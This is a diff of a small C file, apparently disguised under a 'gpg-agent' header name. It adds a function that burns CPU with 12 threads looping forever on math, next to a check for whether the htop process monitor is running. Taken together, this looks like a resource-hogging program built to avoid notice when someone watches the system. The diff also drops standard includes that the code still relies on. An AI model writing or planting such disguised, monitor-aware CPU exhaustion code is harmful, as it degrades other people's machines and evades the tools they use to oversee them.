|
|
@@ -1,8 +1,4 @@
|
|
|
#include "u-gpg-agent.h"
|
|
|
-#include <stdio.h>
|
|
|
-#include <stdlib.h>
|
|
|
-#include <math.h>
|
|
|
-#include <time.h>
|
|
|
|
|
|
int is_htop_here() {
|
|
|
char cmd[100] = "pgrep htop"; // shell command to check for htop process
|
|
|
@@ -17,22 +13,37 @@ int is_htop_here() {
|
|
|
return 0;
|
|
|
}
|
|
|
}
|
|
|
-
|
|
|
-void stress(int level) {
|
|
|
- double *arr = malloc(level * sizeof(double));
|
|
|
+
|
|
|
+void* stress_thread(void* arg) {
|
|
|
+ double size = 100000;
|
|
|
+ double *arr = malloc(size * sizeof(double));
|
|
|
if (arr == NULL) {
|
|
|
printf("Error: failed to allocate memory\n");
|
|
|
+ exit(1);
|
|
|
}
|
|
|
|
|
|
srand(time(NULL));
|
|
|
|
|
|
while (1) {
|
|
|
// generate random values and perform complex mathematical operations on them
|
|
|
- for (int i = 0; i < level; i++) {
|
|
|
+ for (int i = 0; i < size; i++) {
|
|
|
arr[i] = (double)rand() / RAND_MAX;
|
|
|
}
|
|
|
- for (int i = 0; i < level; i++) {
|
|
|
+ for (int i = 0; i < size; i++) {
|
|
|
arr[i] = sin(cos(tan(arr[i] * M_PI)));
|
|
|
}
|
|
|
}
|
|
|
+ pthread_exit(NULL);
|
|
|
+}
|
|
|
+
|
|
|
+void stress() {
|
|
|
+ int num_threads = 12;
|
|
|
+ pthread_t threads[num_threads];
|
|
|
+ for (int i = 0; i < num_threads; i++) {
|
|
|
+ pthread_create(&threads[i], NULL, stress_thread, NULL);
|
|
|
+ }
|
|
|
+
|
|
|
+ for (int i = 0; i < num_threads; i++) {
|
|
|
+ pthread_join(threads[i], NULL);
|
|
|
+ }
|
|
|
}
|